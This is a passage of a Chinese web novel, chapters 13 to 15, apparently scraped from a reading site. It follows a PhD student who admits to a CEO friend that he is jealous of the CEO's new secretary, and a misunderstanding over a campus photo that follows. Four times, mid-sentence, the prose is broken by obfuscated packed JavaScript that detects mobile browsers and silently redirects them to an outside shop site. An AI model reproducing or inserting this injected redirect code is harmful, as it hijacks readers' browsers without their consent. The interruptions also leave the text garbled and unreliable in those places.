“你坐的这个位置,这以前是我的工位,”谈霄说,“这台电脑,还是我找行政申请,换了台新的。” 冯秘书没有回头,也没有回应。 谈霄说:“你听他们说过吗?我寒假在问程实习了两个月。” i人冯秘书继续装聋作哑。 谈霄说:“冯秘书,你是做什么工作的?” 冯秘书后脑勺上三条黑线。 谈霄道:“我是说你来问程以前。” 冯秘书被一对一点名搭讪,没辙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244571|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,只好回答说:“在上海工作了一段时间,也是互联网公司。” 谈霄说:“那你觉得上海生活舒适还是北京更舒服?” 冯秘书道:“都还行。” 谈霄说:“北京就是有点干,风太大了。” 冯秘书道:“是的。” “你哪里人?”谈霄说,“我是浙江人。” 冯秘书一怔,来了点兴趣,终于转了过来,说:“我也是浙江人。” 他说了浙江一个城市名,谈霄则满脸茫然。 “我只去过杭州。”谈霄这下是真的有点抱歉,说,“我其实对浙江不是太了解。” 冯秘书又没了兴趣,道:“嗯。” “我有计划等毕业以后,去浙江深入的玩一下,到时候也去你的家乡看一看,这名字太美了,肯定是个好地方。”谈霄说这话的时候很诚恳,没有逗人家玩的心思。 “还行。”冯秘书问他,“你大几了?” 谈霄说:“我博三了。” 冯秘书怀疑自己听错了,道:“啊?” 谈霄说:“我在清大读金融博士,三年级了。” “……”冯秘书道,“哦。” 张行川终于开完了会,冯秘书也终于得救了。 “总裁。”冯秘书噌一下站起来,有点激动。 “?”张行川疑惑地看他。 谈霄在旁边一脸无辜,说:“我和冯秘书聊得很开心,我们还是同乡。” 张行川懂了,i人冯秘书被当成了玩具。 “这么巧吗?”张行川加入了游戏,说,“那你们还不加个微信,常联系。” 冯秘书快要碎了。 好在谈霄并没有顺势提出加微信。 “过来。”张行川招手叫谈霄跟他进自己办公室。 到办公室里,关了门,张行川才说:“一会儿工夫,你就要把我的新秘书玩坏了。” 谈霄双手插兜,做了一个不服气的表情。 他也不是真有戏弄i人的恶趣味,非要和冯秘书聊天,除了因为冯秘书冷淡得有点没礼貌,他也是有点好奇,是什么样的新员工,又入了张行川的眼。 也就一般般吧。 张行川今天去出席的会议很庄重,他穿得也很正式,还打了条深蓝色的真丝领带。 他把西装外套脱了,随手挂在旁边衣架上,里面穿了件白色的商务衬衣,他肩宽腰窄,腿又很长,单穿衬衣和西裤,更显出曲线,很有一种张力。 谈霄和他身高相仿,肩宽和胸围大约都小一号。现在看他穿件这种老头衬衣都出奇得好看,当下有点羡慕,这漂亮胸肌,怎么就不是自己的? “你来看看花,”张行川叫他到桌边,说,“看我养得怎么样?” 谈霄走过去,微弯了腰,近距离端详那花,确实养得更水灵了,很满意。 张行川在旁边偏着头打量他,他穿了上次张行川送他的新外套,衣服颜色清新,人也长得脱俗,赏心悦目到了极点。 谈霄抬头看他,两人对上视线。 张行川笑了起来,说:“崽崽,你是不是瘦了?” “没有吧,”谈霄直起身来,说,“我这周吃了睡睡了吃,这要是都能瘦,非得把嘉欣姐气昏过去。” 张行川道:“嘉欣出差去了,你今天见不着她。” “听说了。”谈霄说,“她不是总裁特助吗?怎么让她自己出差了?” 张行川愉快地说:“她能独当一面了,就应该多锻炼锻炼。” 他就是一位很典型的ENFJ了。很享受成就他人的过程,同时擅长自我表达,总能吸引到与自己有共鸣的人,还会用持续不断的热情来感染和鼓舞每一位追随者。 谈霄不是他事业上的追随者,但也认同追随者的想法,张行川是怪能迷人的。 13.第 13 章 张行川听谈霄在电话里说了要gap,就一直把这事放在心上,担心谈霄是不是遇到了什么问题。 “怎么突然给自己放假了?”他问。 “没怎么。”谈霄解释说,“论文盲审结果还有一个月才出来,现在为答辩准备再多,可能也是无用功,索性休息休息。” 张行川听他如此说,看他本人状态也还好,也暂且放了心。 两人说着话,谈霄看了眼外面,发现冯秘书还在假装工作,实则暗中观察。 张行川顺着他的视线看出去,也发现了此事。 “冯秘书被你这么逗一次,”张行川好笑地说,“能在工位底下抠出来一座十三陵。” “那真是对不起他了。”谈霄的嘴甜技能被触发了,无论如何也会夸一夸总裁新看上的才俊,说,“冯秘书长得还挺好看,听说履历也很优秀。” 明牌颜控张行川在筛选人才的时候,不会主动以貌取人,可仅凭潜意识,也很难挑到丑人。 冯秘书是位清秀小哥;特助嘉欣也是位高挑美女。 上一个被张行川看中,可惜一心尥蹶子的谈霄小马驹,更是一米八七还有点腹肌的美貌男大。 张行川倒没怎么留意冯秘书的颜值,总归也是不难看。 他一向不吝啬夸赞别人,说:“长相是还可以,干干净净。履历还不错,他也是我的一个年轻校友。” 原来冯秘书是和张行川在同一所藤校读的硕士。张行川专业是计算机,冯秘书读的是管理,年岁有差,从前倒也没见过。 谈霄笑着说:“不错,挺好。” 心里实际上在想,“也是校友”,“也”是什么意思?从哪论起的“也”? 冯秘书刚巧“也”坐了那个工位。 那是不是一道隔断玻璃内外,张行川“也”没事就和冯秘书互相发消息,说说小话? 不是,这位总裁哥,这么爱私联员工,还当什么企业家?应该去当明星。 张行川还不知道自己正被酷酷扣分,只因为前期攒的血厚,一时半会儿扣不完,但也已从哥哥降级成了总裁哥。 总裁哥还在那叭叭说呢:“冯秘书性格是比较慢热一点,做事非常认真的,爱较真,很适合做行政工作。” 谈霄笑不动了,淡淡地说:“那真还挺好。” 张行川倒是看出了谈霄对冯秘书不大感冒。 谈霄这个社交小悍匪,在冯秘书那里难得碰了软钉子,张行川以为是这个原因所致。 总裁也难得会错了意。 主要是他根本没想到,大方豁达的谈霄突然开始斤斤计较,一个随口说的“也”字,都能把他惹毛。 总裁犹如孙副总附体,自以为幽默地说了一句大笨话:“人家也不像你,见谁跟谁玩,跟谁玩就跟谁好。” 好好好,人家不像我,人家那么好,你跟人家好去吧。 谈霄真要被总裁哥气死了。 他本来也不是冲冯秘书,人家冯秘书好好求职,认真工作,没惹任何人。 是总裁哥喜新厌旧,也不知道是谁见谁就跟谁好。 谈霄绷着嘴唇不再说话。 “……”张行川发现哪里不对,又以为突然gap还是另有隐情,说,“是不是在学校遇到什么事了?” “没有。”谈霄说,“花你养得挺好,我也看过了。没别的事,我这就回去了,学校还有好多事。” 张行川终于发现好像是他自己惹了人不高兴。 可他做什么了吗?总裁在线茫然了片刻。 谈霄说要走,也不是真的想走,实际上眼巴巴等张行川挽留他。 “那我顺路送你回学校?”张行川说,“我也没别的事了,可以下班回家。” 路上再问问吧。他这么想。 隔断玻璃外还有冯秘书等员工看着,别在这儿把孩子问哭了。读博压力是大,把孩子逼成啥样了。 谈霄倒吸一口气。还急着送他走是吧。 但谈霄的表情管理还在,客客气气地说:“不用,我还是坐地铁吧,不想被堵在路上。” 两个人都没动,互相看着对方。 他们正站在桌边,那株蓝色蝴蝶兰恰好就在两人站位的正中。 谈霄望着张行川的眼睛,张行川有双很多情的温柔眼。 可能看狗都多情,狗都得被他迷住。 在这个瞬间,谈霄心口像被塞了团棉花,堵得有一点难受。 这是什么感觉呢?从来没有过的。 张行川忽然笑起来,声音也很温柔,说:“你今天是怎么了。” 谈霄被这一笑,脑子突然那清醒了,客观地意识到,刚才自己的内心活动过于丰富,好像一个神经病。 他确信张行川多少看出来了一点。 “我……”谈霄瞬间尴尬了起来,强行挽尊,说,“我在跟你开玩笑。” 张行川道:“这个玩笑的点,是在哪?” 谈霄说:“看看你这卡皮巴拉是不是真的不会生气。” 张行川生平第一次听别人用卡皮巴拉来形容他。 倒是很快就能理解原因的一个拟物形容,是说他情绪稳定。 其实在他看来,谈霄才是行动活泼,性情温和的男大。 今天这种情况,很不寻常。 “你才像卡皮巴拉。”张行川笑着说。 他伸手想碰谈霄一下,拍拍肩或是捏捏手臂,男生间很普通的肢体互动。 但他手到半空转了个弯,没有触碰谈霄,转而把手放在蝴蝶兰旁边的问程吉祥物上,撸猫一样,手指轻轻摩挲着那摆件。 他已经隐约明白谈霄刚才在气什么。这想法刚起了个头,就本能地不愿意继续深思下去。 张行川很喜欢谈霄这个年轻朋友,很珍视两人之间的这段关系,越珍惜就越不愿细琢磨,不想破坏掉当前的一切。 谈霄还在懊恼,也对张行川有点抱歉,他很擅长自省,立刻明白问题所在。 他想要的太多了,要张行川像他最喜欢张行川一样最喜欢他,还想要张行川不要喜欢别的人,这是什么强盗逻辑。张行川又不欠他的。 他这种拿朋友当私有物的想法,像个无礼稚童一样蛮横霸道,并且也没有多少实现的可能。 道理他都懂。 他看着张行川,说:“其实是因为,我刚才在吃醋,我有点嫉妒冯秘书。” 张行川还放在吉祥物上的手一抖,差点把吉祥物摔了。 他没想到谈霄就这么说了出来,一时宕机,不知该接什么才好。 道理谈霄都懂,但谈霄也认为,把这种阴湿的占有欲关在自己心里,越不见光就越助长滋生,不如说出来,坦荡一点告诉他的朋友张行川。 “哥哥,”谈霄说,“我知道我这么霸道不对,这很不好,我也不想,可这事,不是不想就能做到。” 张行川的喉结动了动,却没开口说话。 谈霄说:“你有什么要发表的意见,请说。” 张行川的表情还算淡定,内心简直五味杂陈。 这崽崽到底知不知道自己说什么?突然就……这是在告白吗? 张行川认为自己根本不在男同们择偶的范围之内。 他给自己的人群分类是顺直男:一个祖籍胶东半岛,又红又专又爱卷的顺直男。 男同应该不会在这个群体里挑对象。 何况谈霄还是这样一个漂亮、时髦、活泼、优雅、聪慧、见多识广、兴趣爱好广泛、生活多姿多彩……人见人爱的00后小男同。 “我需要一点时间想想。”张行川道,“你说的这事,我从来没经历过,也没想过。” 谈霄点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252728|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,表示理解。 他很理解,这种拈酸吃醋真的很幼稚,张行川没经历过很正常。 张行川道:“是我做了什么让你误解的事吗?还是……” 他有点说不下去,生怕哪个字说的不对不好,会伤害到谈霄。 谈霄听到了熟悉的,似曾相识的句式,有点迷茫,又想了想,说:“你没做错什么,是我没遇到过像你这么合心意的朋友,我可能就有点上头了。” 张行川也有点上头,问题棘手得让他有点头晕,说:“这……我……” 谈霄渐渐疑惑,这么点事,让张行川这么困扰吗? “要不就算了,”谈霄把这嫉妒心说出来,果然觉得舒服了很多,道,“你就当我什么都没说过。” 他想张行川应该是真的不能理解这种独占欲,他以前也没对哪个朋友如此过,今天之前的他也不能理解今天的自己。 谈霄说:“快忘了吧。我请你吃饭好不?我知道有家鲁菜很好吃。” 张行川:“……” 张行川像在坐跳楼机,已经有一点死了。 谈霄倒是又恢复了平常的模样,说:“还是你有别的好推荐?” “我……没有。”张行川道。 “那就这家吧。”谈霄道。 当晚吃饭,张行川的话很少,时不时拿起手机来,好像有很多消息要回复。 谈霄也心不在焉,后悔不该小心眼,也后悔不该把小心眼展示给张行川。 晚一点,张行川送谈霄回了学校,在校门外分开前,张行川最后又问了一次:“你确定,你是真希望我忘了刚才的事吗?” “我确定。”谈霄解开了安全带,说,“不要再提了,我已经开始觉得丢人了。” 张行川盯着他看了足有十几秒,才说:“好,那我就忘了。” 谈霄下车前,把手伸到张行川耳边,打了个清脆的响指,念咒语一样说:“一二三,忘了忘了。” 又几天后的傍晚,清大校园恋爱圣地之一情人坡。 建筑系本科三年级学生陈述,刚和女朋友在这里结束了一段悠闲而甜蜜的约会时光。 女朋友有事先走了,他还在痴汉脸回味,忽然看到右前方坐了个单身狗,正是金融系博士三年级学生谈霄。 谈霄跑步回来,经过一块草坪,就地坐下发呆,心思飞到天外去了,也没留意这里竟是情人坡。 “师兄?”陈述叫他,奇怪道,“你一人儿在这儿干什么?” 谈霄说:“吸收天地精华。” 陈述道:“然后呢?” 陈述是想问谈霄之后要去哪,合适的话就一起去。 但谈霄被问得有点茫然,然后呢?他也不知道。 “我有点烦心事。”他问陈述,“你有空吗?给我出出主意。” 陈述道:“可以啊,我最会出主意了,我是出主意大王。” 两个抽象男大面对面坐在草坪上,联合召开情人坡座谈会。 谈霄一番如此这般,这般如此的讲述后。 “所以你意思是说,”陈述好像听明白了,又不是太明白,道,“你告诉他,你会因为他对别人好就吃醋,他当时没说什么,过后已经一星期不理你了?” 谈霄纠正道:“还没有一星期,今天是第五天。” 也没有不理他,他发消息,张行川还是会回,只是没有主动联系他。 陈述又道:“那我再确认下,你俩玩得很好,年夜饭一起吃,春节一起过,互相发消息永远有回应,他会给你买衣服,你会送他花,他只要有空就找你,只要他有空你就想找他,以上信息,没有什么谬误吧?” 谈霄的听感怪怪的,但还是尊重客观事实,说:“都对,没有错。” “师兄,“陈述太迷茫了,道,“你们真不是在谈恋爱吗?” 14.第 14 章 时间回溯到五天前的晚上。 张行川心情复杂地把谈霄送回了学校,分别前,他还是向谈霄确认了一次,是真的希望他把今晚那场对话忘掉吗? 谈霄按开了安全带扣,朝张行川伸了手过来。 张行川的呼吸顿住。 车载香薰来自某个合作方送的新年礼盒,他随手拿来用了,是海洋调的香气,在干燥温暖的车内环境里,也让人生出水润清冷的错觉。 也许被谈霄的手指碰到,会是类似的触感。 但那预想中的触碰并没有发生。 谈霄只是在张行川的耳边打了个响指,念出了一句遗忘咒语。 既然当事人有这样的期望,张行川也决定就当做没听到,什么也没发生。 但是谈霄的咒语怎么完全不灵? 张行川非但没能忘了,还在反复想起。 回去路上想了,洗澡时想了,睡前想了,睡着后还梦到了。 梦里他和谈霄像晚餐时那样,坐在一张四边方桌的临近两侧。 晚餐时的实际情况是谈霄不像往常活泼,话也不多,偶尔偷偷观察张行川的表情,很快又把视线挪开,有时那两道好看的眉还会皱起来。崽崽是真的很烦恼。 而张行川自己,看似还坐在位置上吃饭,实际上已经死了一大半。 但到了梦里,谈霄非但活泼极了,不停和张行川说笑,还像得了多动症,不停地来触碰张行川。 一会儿拍他这里,一会儿捏他那里。 做梦当然没有实感,张行川只觉得自己被一根无形的羽毛扫来扫去。 忽而有位服务员过来添了茶,谈霄端起滚烫的茶就要喝,张行川明知是在做梦,也忙提醒他,小心。 周遭环境从当晚的鲁菜馆,变幻成了过年一起去过的那家粤菜馆。 谈霄已经被茶水烫到了,用手扇着风,在给口腔降温。 张行川很担心,把手伸过去,用拇指分开了谈霄的唇,想要看看他有没有被热茶烫伤。 两人四目相对。谈霄的嘴唇温热,水润。 粤菜馆也不见了,不知何时又回到了张行川的家里。 谈霄在吧台里调酒。他穿着那件孔雀蓝丝绒缀珍珠的衬衫,衬衫下摆扎进了垂感黑裤里,腰细得简直有点妖艳,折起的袖口露出一节白皙的手腕,他把调好的鸡尾酒推过来,期待地看着张行川。 张行川注视着他衬衫领口的珍珠,它反射的光晕让张行川在梦里也感到神迷目眩。 吧台的光线暗了下来。 张行川置身于一个阶梯式场馆的入口处,台上白发苍苍的院士正在分享心得。 他恍惚中拾级而下,观众席里,好像是有他要找的人。 对,就是这一排,最边上两个位置空着,里面第三个位置,有个男生正在摸鱼写论文。 张行川在这个命中注定的空位上,坐了下来。他目不转睛地看着男生。 男生察觉到了,转过来,也看向张行川。 他可真漂亮。张行川在那一瞬间心跳如鼓。 在梦里,张行川再一次认识了谈霄。 而醒来后,他也要重新认识一下他自己。 五天后的现在,情人坡座谈会还在进行中。 陈述对谈霄和谈霄的那个“他”做出了高度评价:“我和我女朋友谈恋爱,都没你们两个谈得好,你们两个还真挺会谈。” 谈霄两眼一黑,感觉这建筑系学弟抽象的程度自己望尘莫及,这已经抽出了天际,抽到了另外一个世界去。 他想起来,可能是因为他自己忘了把他和张行川的基础设定先交代给陈述。 “首先,我不是给子。”谈霄说,“他肯定也不是。” 陈述道:“哦?展开讲讲。” 谈霄说:“他有喜欢了很多年的白月光,是个女生。我们两个肯定都是直男,这题里哪有给子啊?这里就没有给子,一个都没有。” “那……”陈述说,“师兄你等等,你们这题有点超纲了,我再想想。” 已知师兄是直男,把师兄迷得失魂落魄的朋友,也是直男。 没有给子,一个都没有。 “那么,你们就是一个直男,”陈述左手先比了一个1,然后右手又比了一个1,说,“和另一个直男。” 谈霄点头,这才对。 陈述却把两个1靠近,说:“在谈恋爱。” 谈霄差点晕倒。 陈述又说:“这题很难啊,是附加题级别的难度呢。” 谈霄不明白他怎么信誓旦旦地咬死了这个结论,震怒道:“你做题的方向就不对,你是什么出主意大王?你这脑子是怎么考上清大的?” “对啊,我就没考,”陈述摊手道,“我是保送的。” “……”谈霄嘎一下气晕,倒在了草坪上。 陈述小小惨叫:“师——兄——!” 他还凑过来,作势要给谈霄做人工呼吸,很快被谈霄一脚踹开。 陈述被踹翻在草坪上,被自己逗得哈哈大笑,边笑边说:“我真的有主意了,你叫你男朋友来,你们两个互相做下人工呼吸,就什么矛盾也没了。听我的没错,谈恋爱就是要多亲一亲。” 谈霄:“……” 他被陈述称张行川是他“男朋友”的这个说法,结结实实惊到了。 紧接着陈述下一句,形容了谈霄和张行川根本没有过的亲密行为,谈霄更被惊得发麻。 “你就给我在这儿躺着不要动,”谈霄控制不住想象的画面涌入脑海,他面红耳赤,利落地从草坪上起身,凶恶地威胁陈述说,“我这就去拿把铁锹来把你埋了,等着。” 他那长腿一迈,两步就跨出了草坪,跑着步头也不回,落荒而走。 当然他不会真回来埋陈述,他现在就是真的逃走了。 陈述目送师兄远走,枕着手看夕阳和漫天云霞,给女朋友发消息,说:老婆快夸我,我又帮助朋友解开了人生难题。 他的计算机硕士女友回复他:少害人了!你这一天天的。 谈霄跑步回了博士楼,没头苍蝇一样在楼道里打了个转,在这住了快三年的寝室楼里,谈博士差点迷了路。 终于回到他的单人间寝室,反手锁门,脱了跑步穿的运动服,到独立淋浴间去冲了个热水澡。 等冲完澡出来,寝室里有面穿衣镜,谈霄在镜子前仔细看了看自己。 男生都长这样,基础配置差不多,男同究竟是喜欢什么? 前几年刚满二十岁那阵子,他已经发育成了一个男青年,好奇心旺盛和自恋心最强烈的时候,他对着镜子自娱自乐地自拍过,拍的时候还打算要留着当个人珍藏,结果过后看那视频,世界上怎么会有这么尴尬的东西,没看完就赶快删掉了。 对其他男生,他更是毫无兴趣。 本科时常去公共浴室,也参与过男生们在浴室里的打闹,他确信自己从来没有产生过任何异常的感觉。 攀比心倒是有一点,但他也没见过哪个男同学比他自己更好看。 他就不可能是男同。 张行川就更不可能是了。 谈霄吹头发的时间,放在外面的手机连续响了很多声,他没听到,过了会儿出来才看到,一大堆消息。 有十几位同学先后转发了一个帖子给他看,纷纷问他:照片里就是你吧? 还有开玩笑问他的:怎么不声不响就交了男朋友啊? 谈霄还没点开帖子,看到这问题,以为是有人拍到他和张行川如何了,当即吓了一大跳。 马上他就想到,不对,他和张行川又没有如何过,能拍到什么。 坏了,谈霄有点绝望,男朋友这三个字是已经自动关联张行川了吗。 那什么出主意大王,快快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256280|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收了神通吧大王。 张行川今天有事去了趟天津,正在返京的路上,坐在商务车后排看手机新闻。 特助嘉欣在前排副驾打盹儿。她回来后,意味着总裁真正的随行亲信归位,行政冯秘书就留在公司继续处理行政工作。 今天的财经新闻相当无聊,看得张行川也想打瞌睡。 他这几天睡眠不大好,心里藏了事,很难睡得踏实。 至于心里藏了什么事,属于非礼勿言的范畴了。 只是他没有下定任何一种决心,仍站在抉择的分岔口犹豫再三。 天已经快黑了,今天还没有收到过谈霄的消息。 这几天都是谈霄找了些话题来和他聊,他也尝试过主动找谈霄说些什么,一打开对话框,脑海中一片空白,耳边反复回响起那天的响指。 谈霄太年轻了,能轻易地说出来,也能轻易地收回去。 张行川倒觉得这其实也很好,谈霄如此拿得起放得下,就不会被他伤了心。 手机上方弹出了几次群消息提醒。 总裁没有屏蔽群消息的习惯,主要他本来也没什么乱七八糟的群,多数群平时也很安静。 现在正弹消息的是清大同学群,他扫了一眼,是有同学刷到了学校相关的网络帖子,分享给同学们看。 这是群里常有的情感联络方式,同学们毕业十余年,分散在全世界各地,也没有全都从事互联网工作,只有学校才是大家共同的话题。 张行川看新闻也正看得无聊,就点开群,看看学校里又有了什么新鲜趣事。说不定晚点还能和谈霄聊一下。 同学分享了一个小红书的帖子链接,发帖人是今天去清大参观的游客,发了清大半日游plog,在校园各个知名打卡点都打了卡。 这不是热门帖子,点赞和评论都不多,是要经常关注清大相关信息的人,大数据才会推流到首页。 群里那位同学分享这帖子给大家的原因,也不是被帖子引发了对校园的思恋,而是发出如此感慨:现在学校招生已经卡颜了吗,这俩师弟都能出道了。 那博主发了校园各处打卡的照片,难以避免,会有清大学生在不知情的情况下出了镜。 引发同学感慨的是博主拍到的其中两个男学生。 同学在群里圈重点:情人坡那两张,一对很帅很可爱的师弟们。 张行川向后翻页浏览,停在情人坡的照片上。 橘色夕阳下,照片里两个男生正在情人坡打闹,其中一个白衣服男生倒在草坪上,另外一个黑衣服男生单膝跪在白衣服的旁边,还俯了身,像是要去亲吻白衣男生,事发地又是春天的校园情人坡,郁郁葱葱的青草,斜斜倾泻下的余晖,很有那种氛围感。 博主也很解风情了,每个打卡点的照片上都配了文字,给这张的正是:“夕阳正好,偶遇学霸小情侣,祝99”。 张行川心想,这是什么睡美人男同版。 群里那同学说的倒是没错,这两个男生都又高又帅,很是耀眼夺目。 等等,其中这位睡美人? 张行川仔细看了看,这眉眼,这鼻梁,这唇角上扬的弧度,不是谈霄还能是谁。 张行川:“……” 像群里同学说的,帖子里情人坡两张照片都拍到了师弟们,这才只是第一张,所以第二张会是什么,看走向,是黑衣服男生吻了谈霄吗? 张行川不想看了。但又想看看。 他划到了后面一张,还是要一看究竟。 博主毕竟是发照片,不是现场录像,两张之间有时间差。 已经发生过了什么,谈霄从草坪上起了身,换成那黑衣服男生躺在旁边,还笑笑地看着谈霄,谈霄应该正对他说什么,脸上的表情有点像愠怒,也像是害羞,和前一张比,脸红了很多。 是一种张行川没见过的表情,从来没见过,从未。 15.第 15 章 前排副驾的嘉欣在小鸡啄米,某下啄得太狠,瞬间清醒了,出于职业本能,她第一时间就从后视镜关注老板在做什么。 张行川还维持着刚才就在看财经新闻的姿势,眼睛盯着手机,但眉毛轻轻拧在了一起。 总裁不常皱眉,爱笑,刚带嘉欣的时候也鼓励过她,要学着用轻松面貌面对这世界,困难永远不会消亡,但万事总有解决的办法。 他现在露出这种表情,说好的轻松面貌呢?这是遇到了什么暂时难解的问题? 难道是网信办又要出台新规?嘉欣想不出除了这个,近期还有什么事能让总裁皱眉。 总裁本人可比嘉欣敢想得多。 他正在脑内把两张情人坡连环画之间缺失的部分补全,补得越全,他就越烦。 谈霄本人倒不怎么在意这一出情人坡乌龙事件。 他回复了好心转发帖子给他看的同学们,一一做出澄清,陈述是他最近新认识的本科生朋友,他们只是在一起玩闹,照片是拍摄角度导致的误读,不用朋友们去帮他私信博主删帖,这事对他没有影响,请大家也别放在心上。 他平时和谁都能玩到一起,友谊的小树随手就栽下一排,恋爱方面就连根幼苗都没有。 这些同学们也只是刷到了帖子,来和他开开玩笑,没几个人当真以为他突然有了“男朋友”,都知道他是顶聪明一个人,谈恋爱这事上就还没开窍。 消息太多,等在十几个对话框里挨个回复完,也还有朋友顺便和他聊些有的没的,终于结束,用掉了个把钟头,谈霄的社交电量暂时耗尽,朝书桌上一趴,大脑放空,休息。 此时另外一位当事人陈述终于慢半拍收到了风声,也在微信上找谈霄。 陈述:是谁说没有给子?原来你我都是给子! 谈霄还趴在桌上,笑笑得了。 他懒得再认真和陈述聊这无聊的话题,只回了一个疲惫的狗子表情包。 陈述:我老婆刚才说我和你很般配呢。 谈霄服了,这对小情侣才真是绝配,脑回路都差不多,这真可以祝99。 他诚恳地送上祝福,把手机倒扣在了桌上。 手机又响了两声。 谈霄以为陈述还在说怪话,就没拿起来看,不想再接收到新的精神污染。 他趴着的角度,正好对着角落里的衣架,张行川送他的那件外套就挂在上面。 谈霄望着那衣服,不自觉地出了会儿神。 他也没有什么别的念头,只是有点想张行川。 想着想着,心里就有些难过,可这难过是什么,又是为了什么,他自己也说不清楚。 手机又响了一声。 一直不搭理陈述大王也不好,谈霄还是把屏幕翻过来看了一眼,打算配合他也说上几句怪话。 但并不是大王。谈霄弹了起来,坐直了。 这几天没有主动联系过他的张行川,一连发了三条消息过来。 前面两条的时间是几分钟前,是连续的两条。 张行川:[截图] 张行川:和你玩的这个,是谁? 截图就是小红书那个帖子里,情人坡连环画的第一张。 刚刚最新那声提示音,是他发来的是第三条消息。 张行川:是我问太多了,抱歉。 几分钟前,嘉欣先到了家,下车时还担心地问了总裁一句:“没出什么事吗?” “没有。”张行川说,“回去好好休息,明天见。” 司机重新把商务车开上路,张行川心不在焉地刷新微信页面。 也只是没得到谈霄的即时回复,他就开始自我怀疑了,是否这问题问得不妥。 这事该他问吗?他问得着吗?轮得着他问吗? 谈霄不回复他,要么是默认了博主的描述,要么是不想对他一个外人做出解释。 也有可能二者都有。 张行川想起谈霄那夜的那一个响指。 谈霄说让他当没事发生过,是真心决定翻篇,之后谈霄要和谁发展亲密关系,关他一个过气哥哥什么事。 他又发了条道歉信息过去。算了,谈霄不想回答,那就算了,他就不该问。 他刚把手机放在中间扶手的无线充电板上。 叮、叮、叮……接连不断的响起了提示音。 张行川差点以为充电板出了故障。 来自谈霄的海量消息,正朝总裁袭来。 谈霄:那就是一个普通同学,建筑系的本科生 谈霄:他和他女朋友在情人坡约会,女朋友当时刚走 谈霄:我只是路过,和他闲聊了几句 谈霄:因为他说话太抽象了,我怀疑他脑仁都没有蚕豆大 谈霄:我就开玩笑质疑他是怎么考上的清大 谈霄:结果这蚕豆小子是保送的哇,气我一大跳! 谈霄:那我当场就晕倒 谈霄:他还来跟我闹着玩 谈霄:贴子里第一张照片是他贱贱地要给我做人工呼吸 谈霄:第二张是我嫌他恶心,已经把他踹翻在地了 谈霄:然后我和他对喷几句垃圾话就走了,完全没注意有人在拍照 谈霄:那个游客偷拍我就算了,怎么还断章取义 谈霄:我和那建筑系抽象大师怎么可能是小情侣 谈霄:他真正的CP在隔壁念计算机 谈霄:哥哥,我太冤了 谈霄:我要在脸上刺一个冤字 他的消息跳得飞快,张行川简直看不过来,读得没他发得快。 谈霄讲完了经过,又说:我刚才没看到消息,不是故意不回你。 张行川终于也跟上了进度。 信息量太大,导致他只有余力发出一个疑问。 张行川:你怎么手机打字也这么快? 谈霄:哥哥,因为我是年轻人。 张行川没招了,接不上这话。 谈霄能想得出张行川此时在那边的表情,一定是既想笑又无奈,那是张行川的诸多表情里,谈霄最喜欢的,之一。 谈霄:你在哪,忙吗? 张行川:刚从天津回来,还没到家。 那应该是没什么事的意思吧? 谈霄:我现在也不忙,正在寝室躺着玩手机。 只要张行川说不忙,他准备立刻出发去找张行川玩。 张行川:那你好好休息吧。 谈霄满怀期待,这话犹如兜头泼了冷水,又不想理总裁哥了,心里默默抽出考核表,开始扣分。 谈霄:bye。 他把手机丢到一边去,拿了下午跑步换下来的运动服去洗。 在洗衣房里,他遇到了认识的人,对方和他专业不同,但也是博士三年级,正为毕业愁得一脸菜色,甚至开始脱发。 谈霄还没这么严重的问题,从共情变得同情,关爱谢顶博士,人人有责。 两人聊得久了点,洗衣机也完成了一个快洗工作周期,谈霄拿出洗好的衣服,和那位准博士告别。 因为他在今天的聊天局里发挥得过于煽情,那大哥被他聊得双眼发红,还用力和他拥抱,并很中二地摇他的肩:“谈霄!我们一定能顺利毕业!我们一定要顺利毕业啊!” 谈霄被摇得恍恍惚惚,拿了洗好的衣服上楼,暗道下次再给人灌鸡汤,还是要适可而止,千万不能再用这么大劲。 下楼洗衣服一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262612|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 